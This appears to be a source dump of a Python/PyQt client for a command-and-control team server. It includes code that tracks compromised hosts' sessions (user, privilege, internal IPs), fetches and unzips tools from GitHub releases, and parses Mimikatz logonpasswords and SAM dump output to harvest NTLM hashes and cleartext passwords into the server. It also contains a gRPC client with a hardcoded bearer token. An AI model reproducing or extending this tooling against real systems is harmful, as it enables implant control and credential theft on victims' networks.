126 | elif action.text() == "Delete":
127 | self.listSessionObject.pop(ix)
128 | self.printSessions()
129 |
130 |
131 | def stopSession(self, beaconHash, listenerHash):
132 | session = TeamServerApi_pb2.Session(
133 | beaconHash=beaconHash, listenerHash=listenerHash)
134 | self.grpcClient.stopSession(session)
135 | self.getSessions()
136 |
137 |
138 | def getSessions(self):
139 | responses = self.grpcClient.getSessions()
140 |
141 | sessions = list()
142 | for response in responses:
143 | sessions.append(response)
144 |
145 | # check for idl sessions
146 | for ix, item in enumerate(self.listSessionObject):
147 | runing=False
148 | for session in sessions:
149 | if session.beaconHash == item.beaconHash:
150 | runing=True
151 | # set idl
152 | if not runing:
153 | self.listSessionObject[ix].lastProofOfLife="-1"
154 |
155 | for session in sessions:
156 | inStore=False
157 | for sessionStore in self.listSessionObject:
158 | #maj
159 | if session.listenerHash == sessionStore.listenerHash and session.beaconHash == sessionStore.beaconHash:
160 | self.sessionScriptSignal.emit("update", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed)
161 | inStore=True
162 | sessionStore.lastProofOfLife=session.lastProofOfLife
163 | sessionStore.listenerHash=session.listenerHash
164 | if session.hostname:
165 | sessionStore.hostname=session.hostname
166 | if session.username:
167 | sessionStore.username=session.username
168 | if session.arch:
169 | sessionStore.arch=session.arch
170 | if session.privilege:
171 | sessionStore.privilege=session.privilege
172 | if session.os:
173 | sessionStore.os=session.os
174 | if session.lastProofOfLife:
175 | sessionStore.lastProofOfLife=session.lastProofOfLife
176 | if session.killed:
177 | sessionStore.killed=session.killed
178 | if session.internalIps:
179 | sessionStore.internalIps=session.internalIps
180 | if session.processId:
181 | sessionStore.processId=session.processId
182 | if session.additionalInformation:
183 | sessionStore.additionalInformation=session.additionalInformation
184 | # add
185 | if not inStore:
186 | self.sessionScriptSignal.emit("start", session.beaconHash, session.listenerHash, session.hostname, session.username, session.arch, session.privilege, session.os, session.lastProofOfLife, session.killed)
187 |
188 | print(session)
189 |
190 | self.listSessionObject.append(
191 | Session(
192 | self.idSession,
193 | session.listenerHash, session.beaconHash,
194 | session.hostname, session.username, session.arch,
195 | session.privilege, session.os, session.lastProofOfLife,
196 | session.killed, session.internalIps, session.processId, session.additionalInformation
197 | )
198 | )
199 | self.idSession = self.idSession+1
200 |
201 | self.printSessions()
202 |
203 |
204 | # don't clear the list each time but just when it's necessary
205 | def printSessions(self):
206 | self.listSession.setRowCount(len(self.listSessionObject))
207 | self.listSession.setHorizontalHeaderLabels(["Beacon ID", "Listener ID", "Host", "User", "Architecture", "Privilege", "Operating System", "Process ID", "Internal IP", "ProofOfLife", "Killed"])
208 | for ix, sessionStore in enumerate(self.listSessionObject):
209 |
210 | beaconHash = QTableWidgetItem(sessionStore.beaconHash[0:8])
211 | self.listSession.setItem(ix, 0, beaconHash)
212 |
213 | listenerHash = QTableWidgetItem(sessionStore.listenerHash[0:8])
214 | self.listSession.setItem(ix, 1, listenerHash)
215 |
216 | hostname = QTableWidgetItem(sessionStore.hostname)
217 | self.listSession.setItem(ix, 2, hostname)
218 |
219 | username = QTableWidgetItem(sessionStore.username)
220 | self.listSession.setItem(ix, 3, username)
221 |
222 | arch = QTableWidgetItem(sessionStore.arch)
223 | self.listSession.setItem(ix, 4, arch)
224 |
225 | privilege = QTableWidgetItem(sessionStore.privilege)
226 | self.listSession.setItem(ix, 5, privilege)
227 |
228 | os = QTableWidgetItem(sessionStore.os)
229 | self.listSession.setItem(ix, 6, os)
230 |
231 | processId = QTableWidgetItem(sessionStore.processId)
232 | self.listSession.setItem(ix, 7, processId)
233 |
234 | internalIps = QTableWidgetItem(sessionStore.internalIps)
235 | self.listSession.setItem(ix, 8, internalIps)
236 |
237 | pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0])
238 | self.listSession.setItem(ix, 9, pol)
239 |
240 | killed = QTableWidgetItem(str(sessionStore.killed))
241 | self.listSession.setItem(ix, 10, killed)
242 |
243 |
244 | class GetSessionsWorker(QObject):
245 | checkin = pyqtSignal()
246 |
247 | def __init__(self, parent=None):
248 | super().__init__(parent)
249 | self.exit = False
250 |
251 | def __del__(self):
252 | self.exit=True
253 |
254 | def run(self):
255 | try:
256 | while self.exit==False:
257 | if self.receivers(self.checkin) > 0:
258 | self.checkin.emit()
259 | time.sleep(2)
260 | except Exception as e:
261 | pass
262 |
263 | def quit(self):
264 | self.exit=True
265 |
266 |
--------------------------------------------------------------------------------
/C2Client/C2Client/TerminalModules/Batcave/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
2 | cache
--------------------------------------------------------------------------------
/C2Client/C2Client/TerminalModules/Batcave/batcave.py:
--------------------------------------------------------------------------------
1 | from pathlib import Path
2 | from PyQt5.QtCore import ws
3 | import requests
4 | import json
5 | import zipfile
6 | import os
7 |
8 | BatcaveUrl = "https://github.com/exploration-batcave/batcave"
9 | BatcaveCache = os.path.join(Path(__file__).parent, 'cache')
10 |
11 | def getLatestRelease(githubUrl: str):
12 | owner = githubUrl.split("/")[3]
13 | repo = githubUrl.split("/")[4]
14 | return f"https://api.github.com/repos/{owner}/{repo}/releases/latest"
15 |
16 |
17 | def fetchBatcaveJson():
18 | urlToFetch = getLatestRelease(BatcaveUrl)
19 | response = requests.get(urlToFetch)
20 |
21 | res = {}
22 | if response.status_code == 200:
23 | release_data = response.json()
24 | for asset in release_data.get("assets", []):
25 | if asset["name"].endswith(".json"):
26 | json_url = asset["browser_download_url"]
27 |
28 | json_response = requests.get(json_url)
29 | if json_response.status_code == 200:
30 | json_data = json_response.json()
31 | return json_data
32 | print("Failed to Fetch Json")
33 | return {}
34 |
35 |
36 | def searchTheBatcave(name: str):
37 | batcaveJson = fetchBatcaveJson()
38 | gadgetList = batcaveJson.get("gadgets", [])
39 | bundleList = batcaveJson.get("bundles", [])
40 |
41 | # Searching in Gadgets
42 | resGadget = []
43 | for gadget in gadgetList:
44 | if name.lower() in gadget.get("name", "").lower():
45 | resGadget.append(gadget.get("name"))
46 |
47 | # Searching in Bundles
48 | resBundle = []
49 | for bundle in bundleList:
50 | bundleName = next(iter(bundle))
51 | if name.lower() in bundleName.lower():
52 | resBundle.append(bundle)
53 |
54 | result = ""
55 | if resGadget != []:
56 | result += "Found the Following BatGadget that may correspond:\n"
57 | for gadget in resGadget:
58 | result += f" - Batcave Install {gadget}\n"
59 | else:
60 | result += "No BatGadget Found ... It is ok, Don't be the mask\n"
61 |
62 | result += "\n"
63 |
64 | if resBundle != []:
65 | result += "Found the Following BatBundle that may correspond:\n"
66 | for bundle in resBundle:
67 | bundleName = next(iter(bundle))
68 | result += f" - Batcave BundleInstall {bundleName} - - - > {bundle.get(bundleName)}\n"
69 | else:
70 | result += "No Bundles Found ... It is ok, Don't be the mask\n"
71 | return result
72 |
73 |
74 | def saveZipInLocalCache(releaseURL: str):
75 | os.makedirs(BatcaveCache, exist_ok=True)
76 | response = requests.get(releaseURL)
77 | if response.status_code == 200:
78 | release_data = response.json()
79 | for asset in release_data.get("assets", []):
80 | if asset["name"].endswith(".zip"): # Assuming the file is a ZIP
81 | zip_url = asset["browser_download_url"]
82 | zip_file_path = os.path.join(BatcaveCache, asset["name"])
83 | with requests.get(zip_url, stream=True) as r:
84 | r.raise_for_status()
85 | with open(zip_file_path, "wb") as f:
86 | for chunk in r.iter_content(chunk_size=8192):
87 | f.write(chunk)
88 | return zip_file_path
89 | return ""
90 |
91 |
92 | def unzipFile(zipfilepath: str):
93 | extractDir = os.path.join(BatcaveCache, "extracted")
94 | os.makedirs(extractDir, exist_ok=True)
95 | with zipfile.ZipFile(zipfilepath, "r") as zip_ref:
96 | zip_ref.extractall(extractDir)
97 | extractedFiles = zip_ref.namelist()
98 |
99 | if len(extractedFiles) != 1:
100 | print("Weird, we should have 1 file per zip but got this " + str(extractedFiles))
101 | print("Will take the first and continue with the life, but check the logs")
102 | return os.path.join(extractDir, extractedFiles[0])
103 |
104 |
105 | def downloadBatGadget(name: str):
106 | batcaveJson = fetchBatcaveJson()
107 | gadgetList = batcaveJson.get("gadgets", [])
108 | for gadget in gadgetList:
109 | if name.lower() == gadget.get("name", "").lower():
110 | batUrl = gadget.get("url")
111 | batReleaseUrl = getLatestRelease(batUrl)
112 | zipPath = saveZipInLocalCache(batReleaseUrl)
113 | unzipedFile = unzipFile(zipPath)
114 | return unzipedFile
115 | return ""
116 |
117 |
118 | def downloadBatBundle(name: str):
119 | batcaveJson = fetchBatcaveJson()
120 | bundleList = batcaveJson.get("bundles", [])
121 | for bundle in bundleList:
122 | bundleName = next(iter(bundle))
123 | res = []
124 | if name.lower() == bundleName.lower():
125 | for gadgetName in bundle.get(bundleName):
126 | batGadgetPath = downloadBatGadget(gadgetName)
127 | if batGadgetPath != "":
128 | res.append(batGadgetPath)
129 | return res
130 | return []
131 |
--------------------------------------------------------------------------------
/C2Client/C2Client/TerminalModules/Credentials/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
--------------------------------------------------------------------------------
/C2Client/C2Client/TerminalModules/Credentials/credentials.py:
--------------------------------------------------------------------------------
1 | import json
2 | from grpcClient import GrpcClient
3 | import re
4 |
5 | GetCredentialsInstruction = "getCred"
6 | AddCredentialsInstruction = "addCred"
7 |
8 |
9 | def getCredentials(grpcClient: GrpcClient, TeamServerApi_pb2):
10 | commandTeamServer = GetCredentialsInstruction
11 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=b"")
12 | resultTermCommand = grpcClient.sendTermCmd(termCommand)
13 | result = resultTermCommand.result
14 | return result
15 |
16 |
17 | def addCredentials(grpcClient: GrpcClient,TeamServerApi_pb2, cred: str):
18 | currentcredentials = json.loads(getCredentials(grpcClient, TeamServerApi_pb2))
19 | credjson = json.loads(cred)
20 |
21 | if credjson in currentcredentials:
22 | return
23 |
24 | commandTeamServer = AddCredentialsInstruction
25 | termCommand = TeamServerApi_pb2.TermCommand(cmd=commandTeamServer, data=cred.encode())
26 | resultTermCommand = grpcClient.sendTermCmd(termCommand)
27 | result = resultTermCommand.result
28 | return result
29 |
30 |
31 | def handleSekurlsaLogonPasswords(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2):
32 | auth_block_pattern = r"Authentication Id : .*?\n(.*?)(?=\nAuthentication Id :|\Z)"
33 | user_domain_pattern = r"User Name\s*:\s*(.*?)\s*Domain\s*:\s*(.*?)\n"
34 | ntlm_pattern = r"\*\s*NTLM\s*:\s*([a-fA-F0-9]{32})"
35 | password_pattern = r"\*\s*Password\s*:\s*(.+)"
36 |
37 | auth_blocks = re.findall(auth_block_pattern, mimikatzOutput, re.DOTALL)
38 | for block in auth_blocks:
39 | user_domain_match = re.search(user_domain_pattern, block)
40 | if user_domain_match:
41 | username = user_domain_match.group(1).strip()
42 | domain = user_domain_match.group(2).strip()
43 | else:
44 | username = "N/A"
45 | domain = "N/A"
46 |
47 | matchs = re.findall(ntlm_pattern, block)
48 | matchs = list(dict.fromkeys(matchs))
49 | for ntlm in matchs:
50 | ntlm = ntlm.strip()
51 | if ntlm:
52 | cred = {}
53 | cred["username"] = username
54 | cred["domain"] = domain
55 | cred["ntlm"] = ntlm
56 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred))
57 |
58 | matchs = re.findall(password_pattern, block)
59 | matchs = list(dict.fromkeys(matchs))
60 | for password in matchs:
61 | password = password.strip()
62 | if password and password != "(null)":
63 | cred = {}
64 | cred["username"] = username
65 | cred["domain"] = domain
66 | cred["password"] = password
67 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred))
68 |
69 |
70 | def handleLsaDumpSAM(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2):
71 | domain_block_pattern = r"(Domain :.*?)(?=\nDomain :|\Z)"
72 | domain_pattern = r"Domain : (.*)"
73 | rid_block_pattern = r"(RID\s*:.*?)(?=\nRID\s*:|\Z)"
74 | user_hash_pattern = r"User\s*:\s*(\S+)\r?\n\s+Hash NTLM:\s*([a-fA-F0-9]+)"
75 |
76 | domain_blocks = re.findall(domain_block_pattern, mimikatzOutput, re.DOTALL)
77 | for block in domain_blocks:
78 | domain_match = re.search(domain_pattern, block)
79 | if domain_match:
80 | domain = domain_match.group(1).strip()
81 | else:
82 | continue
83 |
84 | rid_blocks = re.findall(rid_block_pattern, block, re.DOTALL)
85 | for rid_block in rid_blocks:
86 | matches = re.findall(user_hash_pattern, rid_block)
87 | for user, hash_ntlm in matches:
88 | cred = {}
89 | cred["username"] = user
90 | cred["domain"] = domain
91 | cred["ntlm"] = hash_ntlm
92 | addCredentials(grpcClient, TeamServerApi_pb2, json.dumps(cred))
93 |
94 |
95 | def handleMimikatzCredentials(mimikatzOutput: str, grpcClient: GrpcClient,TeamServerApi_pb2):
96 | # check if "sekurlsa::logonpasswords"
97 | handleSekurlsaLogonPasswords(mimikatzOutput, grpcClient,TeamServerApi_pb2)
98 | # check if "lsadump::sam"
99 | handleLsaDumpSAM(mimikatzOutput, grpcClient, TeamServerApi_pb2)
100 | # check if "sekurlsa::ekeys"
101 | # extract Password / aies256_hmac / rc4_md4
102 |
--------------------------------------------------------------------------------
/C2Client/C2Client/TerminalModules/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/TerminalModules/__init__.py
--------------------------------------------------------------------------------
/C2Client/C2Client/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/C2Client/C2Client/__init__.py
--------------------------------------------------------------------------------
/C2Client/C2Client/grpcClient.py:
--------------------------------------------------------------------------------
1 | from __future__ import print_function
2 |
3 | import logging
4 |
5 | import sys
6 | import os
7 | import uuid
8 | sys.path.append(os.path.dirname(os.path.abspath(__file__))+'/libGrpcMessages/build/py/')
9 |
10 | import grpc
11 | import TeamServerApi_pb2
12 | import TeamServerApi_pb2_grpc
13 |
14 |
15 | class GrpcClient:
16 |
17 | def __init__(self, ip, port, devMode):
18 |
19 | env_cert_path = os.getenv('C2_CERT_PATH')
20 |
21 | if env_cert_path and os.path.isfile(env_cert_path):
22 | ca_cert = env_cert_path
23 | print(f"Using certificate from environment variable: {ca_cert}")
24 | else:
25 | try:
26 | import pkg_resources
27 | ca_cert = pkg_resources.resource_filename(
28 | 'C2Client',
29 | 'server.crt'
30 | )
31 | except ImportError:
32 | ca_cert = os.path.join(os.path.dirname(__file__), 'server.crt')
33 | print(f"Using default certificate: {ca_cert}. To use a custom C2 certificate, set the C2_CERT_PATH environment variable.")
34 |
35 | if os.path.exists(ca_cert):
36 | root_certs = open(ca_cert, 'rb').read()
37 | else:
38 | print(f"[-] Error: {ca_cert} not found, this file is needed to secure the communication beetween the client and server.")
39 | print(f"You can find it in the release directory of the Teamserver.")
40 | print(f"Exiting.")
41 | raise ValueError("grpcClient: Certificate not found")
42 |
43 | credentials = grpc.ssl_channel_credentials(root_certs)
44 | if devMode:
45 | self.channel = grpc.secure_channel(ip + ':' + str(port), credentials, options=[('grpc.ssl_target_name_override', "localhost",), ('grpc.max_send_message_length', 512 * 1024 * 1024), ('grpc.max_receive_message_length', 512 * 1024 * 1024)])
46 | else:
47 | self.channel = grpc.secure_channel(ip + ':' + str(port), credentials, options=[('grpc.max_send_message_length', 512 * 1024 * 1024), ('grpc.max_receive_message_length', 512 * 1024 * 1024)])
48 | grpc.channel_ready_future(self.channel).result()
49 | self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel)
50 |
51 | self.metadata = [
52 | ("authorization", "Bearer my-secret-token"),
53 | ("clientid", str(uuid.uuid4())[:16])
54 | ]
55 |
56 | def getListeners(self):
57 | empty = TeamServerApi_pb2.Empty()
58 | listeners = self.stub.GetListeners(empty, metadata=self.metadata)
59 | return listeners
60 |
61 | def addListener(self, listener):
62 | response = self.stub.AddListener(listener, metadata=self.metadata)
63 | return response
64 |
65 | def stopListener(self, listener):
66 | response = self.stub.StopListener(listener, metadata=self.metadata)
67 | return response
68 |
69 | def getSessions(self):
70 | empty = TeamServerApi_pb2.Empty()
71 | sessions = self.stub.GetSessions(empty, metadata=self.metadata)
72 | return sessions
73 |
74 | def stopSession(self, session):
75 | response = self.stub.StopSession(session, metadata=self.metadata)
76 | return response
77 |
78 | def sendCmdToSession(self, command):
79 | response = self.stub.SendCmdToSession(command, metadata=self.metadata)
80 | return response
81 |
82 | def getResponseFromSession(self, session):
83 | commands = self.stub.GetResponseFromSession(session, metadata=self.metadata)
84 | return commands
85 |
86 | def getHelp(self, command):
87 | response = self.stub.GetHelp(command, metadata=self.metadata)
88 | return response
89 |
90 | def sendTermCmd(self, command):
91 | response = self.stub.SendTermCmd(command, metadata=self.metadata)
92 | return response
93 |
94 |
95 |
--------------------------------------------------------------------------------
/C2Client/C2Client/images/firewall.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/C2Client/C2Client/images/linux.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/C2Client/C2Client/images/linuxhighpriv.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/C2Client/C2Client/images/pc.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/C2Client/C2Client/images/windowshighpriv.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # Generated by the protocol buffer compiler. DO NOT EDIT!
3 | # NO CHECKED-IN PROTOBUF GENCODE
4 | # source: TeamServerApi.proto
5 | # Protobuf Python Version: 5.27.0
6 | """Generated protocol buffer code."""
7 | from google.protobuf import descriptor as _descriptor
8 | from google.protobuf import descriptor_pool as _descriptor_pool
9 | from google.protobuf import runtime_version as _runtime_version
10 | from google.protobuf import symbol_database as _symbol_database
11 | from google.protobuf.internal import builder as _builder
12 | _runtime_version.ValidateProtobufRuntimeVersion(
13 | _runtime_version.Domain.PUBLIC,
14 | 5,
15 | 27,
16 | 0,
17 | '',
18 | 'TeamServerApi.proto'
19 | )
20 | # @@protoc_insertion_point(imports)
21 |
22 | _sym_db = _symbol_database.Default()
23 |
24 |
25 |
26 |
27 | DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\x87\x05\n\rTeamServerApi\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3')
28 |
29 | _globals = globals()
30 | _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
31 | _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'TeamServerApi_pb2', _globals)
32 | if not _descriptor._USE_C_DESCRIPTORS:
33 | DESCRIPTOR._loaded_options = None
34 | _globals['_STATUS']._serialized_start=745
35 | _globals['_STATUS']._serialized_end=769
36 | _globals['_EMPTY']._serialized_start=38
37 | _globals['_EMPTY']._serialized_end=45
38 | _globals['_RESPONSE']._serialized_start=47
39 | _globals['_RESPONSE']._serialized_end=113
40 | _globals['_LISTENER']._serialized_start=116
41 | _globals['_LISTENER']._serialized_end=281
42 | _globals['_SESSION']._serialized_start=284
43 | _globals['_SESSION']._serialized_end=528
44 | _globals['_COMMAND']._serialized_start=530
45 | _globals['_COMMAND']._serialized_end=594
46 | _globals['_COMMANDRESPONSE']._serialized_start=596
47 | _globals['_COMMANDRESPONSE']._serialized_end=685
48 | _globals['_TERMCOMMAND']._serialized_start=687
49 | _globals['_TERMCOMMAND']._serialized_end=743
50 | _globals['_TEAMSERVERAPI']._serialized_start=772
51 | _globals['_TEAMSERVERAPI']._serialized_end=1419
52 | # @@protoc_insertion_point(module_scope)
53 |
--------------------------------------------------------------------------------
/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py:
--------------------------------------------------------------------------------
1 | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
2 | """Client and server classes corresponding to protobuf-defined services."""
3 | import grpc
4 |
5 | import TeamServerApi_pb2 as TeamServerApi__pb2
6 |
7 |
8 | class TeamServerApiStub(object):
9 | """Interface exported by the server.
10 | """
11 |
12 | def __init__(self, channel):
13 | """Constructor.
14 |
15 | Args:
16 | channel: A grpc.Channel.
17 | """
18 | self.GetListeners = channel.unary_stream(
19 | '/teamserverapi.TeamServerApi/GetListeners',
20 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString,
21 | response_deserializer=TeamServerApi__pb2.Listener.FromString,
22 | _registered_method=True)
23 | self.AddListener = channel.unary_unary(
24 | '/teamserverapi.TeamServerApi/AddListener',
25 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString,
26 | response_deserializer=TeamServerApi__pb2.Response.FromString,
27 | _registered_method=True)
28 | self.StopListener = channel.unary_unary(
29 | '/teamserverapi.TeamServerApi/StopListener',
30 | request_serializer=TeamServerApi__pb2.Listener.SerializeToString,
31 | response_deserializer=TeamServerApi__pb2.Response.FromString,
32 | _registered_method=True)
33 | self.GetSessions = channel.unary_stream(
34 | '/teamserverapi.TeamServerApi/GetSessions',
35 | request_serializer=TeamServerApi__pb2.Empty.SerializeToString,
36 | response_deserializer=TeamServerApi__pb2.Session.FromString,
37 | _registered_method=True)
38 | self.StopSession = channel.unary_unary(
39 | '/teamserverapi.TeamServerApi/StopSession',
40 | request_serializer=TeamServerApi__pb2.Session.SerializeToString,
41 | response_deserializer=TeamServerApi__pb2.Response.FromString,
42 | _registered_method=True)
43 | self.GetHelp = channel.unary_unary(
44 | '/teamserverapi.TeamServerApi/GetHelp',
45 | request_serializer=TeamServerApi__pb2.Command.SerializeToString,
46 | response_deserializer=TeamServerApi__pb2.CommandResponse.FromString,
47 | _registered_method=True)
48 | self.SendCmdToSession = channel.unary_unary(
49 | '/teamserverapi.TeamServerApi/SendCmdToSession',
50 | request_serializer=TeamServerApi__pb2.Command.SerializeToString,
51 | response_deserializer=TeamServerApi__pb2.Response.FromString,
52 | _registered_method=True)
53 | self.GetResponseFromSession = channel.unary_stream(
54 | '/teamserverapi.TeamServerApi/GetResponseFromSession',
55 | request_serializer=TeamServerApi__pb2.Session.SerializeToString,
56 | response_deserializer=TeamServerApi__pb2.CommandResponse.FromString,
57 | _registered_method=True)
58 | self.SendTermCmd = channel.unary_unary(
59 | '/teamserverapi.TeamServerApi/SendTermCmd',
60 | request_serializer=TeamServerApi__pb2.TermCommand.SerializeToString,
61 | response_deserializer=TeamServerApi__pb2.TermCommand.FromString,
62 | _registered_method=True)
63 |
64 |
65 | class TeamServerApiServicer(object):
66 | """Interface exported by the server.
67 | """
68 |
69 | def GetListeners(self, request, context):
70 | """Missing associated documentation comment in .proto file."""
71 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
72 | context.set_details('Method not implemented!')
73 | raise NotImplementedError('Method not implemented!')
74 |
75 | def AddListener(self, request, context):
76 | """Missing associated documentation comment in .proto file."""
77 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
78 | context.set_details('Method not implemented!')
79 | raise NotImplementedError('Method not implemented!')
80 |
81 | def StopListener(self, request, context):
82 | """Missing associated documentation comment in .proto file."""
83 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
84 | context.set_details('Method not implemented!')
85 | raise NotImplementedError('Method not implemented!')
86 |
87 | def GetSessions(self, request, context):
88 | """Missing associated documentation comment in .proto file."""
89 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
90 | context.set_details('Method not implemented!')
91 | raise NotImplementedError('Method not implemented!')
92 |
93 | def StopSession(self, request, context):
94 | """Missing associated documentation comment in .proto file."""
95 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
96 | context.set_details('Method not implemented!')
97 | raise NotImplementedError('Method not implemented!')
98 |
99 | def GetHelp(self, request, context):
100 | """Missing associated documentation comment in .proto file."""
101 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
102 | context.set_details('Method not implemented!')
103 | raise NotImplementedError('Method not implemented!')
104 |
105 | def SendCmdToSession(self, request, context):
106 | """Missing associated documentation comment in .proto file."""
107 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
108 | context.set_details('Method not implemented!')
109 | raise NotImplementedError('Method not implemented!')
110 |
111 | def GetResponseFromSession(self, request, context):
112 | """Missing associated documentation comment in .proto file."""
113 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
114 | context.set_details('Method not implemented!')
115 | raise NotImplementedError('Method not implemented!')
116 |
117 | def SendTermCmd(self, request, context):
118 | """Missing associated documentation comment in .proto file."""
119 | context.set_code(grpc.StatusCode.UNIMPLEMENTED)
120 | context.set_details('Method not implemented!')
121 | raise NotImplementedError('Method not implemented!')
122 |
123 |
124 | def add_TeamServerApiServicer_to_server(servicer, server):
125 | rpc_method_handlers = {
126 | 'GetListeners': grpc.unary_stream_rpc_method_handler(
127 | servicer.GetListeners,
128 | request_deserializer=TeamServerApi__pb2.Empty.FromString,
129 | response_serializer=TeamServerApi__pb2.Listener.SerializeToString,
130 | ),
131 | 'AddListener': grpc.unary_unary_rpc_method_handler(
132 | servicer.AddListener,
133 | request_deserializer=TeamServerApi__pb2.Listener.FromString,
134 | response_serializer=TeamServerApi__pb2.Response.SerializeToString,
135 | ),
136 | 'StopListener': grpc.unary_unary_rpc_method_handler(
137 | servicer.StopListener,
138 | request_deserializer=TeamServerApi__pb2.Listener.FromString,
139 | response_serializer=TeamServerApi__pb2.Response.SerializeToString,
140 | ),
141 | 'GetSessions': grpc.unary_stream_rpc_method_handler(
142 | servicer.GetSessions,
143 | request_deserializer=TeamServerApi__pb2.Empty.FromString,
144 | response_serializer=TeamServerApi__pb2.Session.SerializeToString,
145 | ),
146 | 'StopSession': grpc.unary_unary_rpc_method_handler(
147 | servicer.StopSession,
148 | request_deserializer=TeamServerApi__pb2.Session.FromString,
149 | response_serializer=TeamServerApi__pb2.Response.SerializeToString,
150 | ),
151 | 'GetHelp': grpc.unary_unary_rpc_method_handler(
152 | servicer.GetHelp,
153 | request_deserializer=TeamServerApi__pb2.Command.FromString,
154 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString,
155 | ),
156 | 'SendCmdToSession': grpc.unary_unary_rpc_method_handler(
157 | servicer.SendCmdToSession,
158 | request_deserializer=TeamServerApi__pb2.Command.FromString,
159 | response_serializer=TeamServerApi__pb2.Response.SerializeToString,
160 | ),
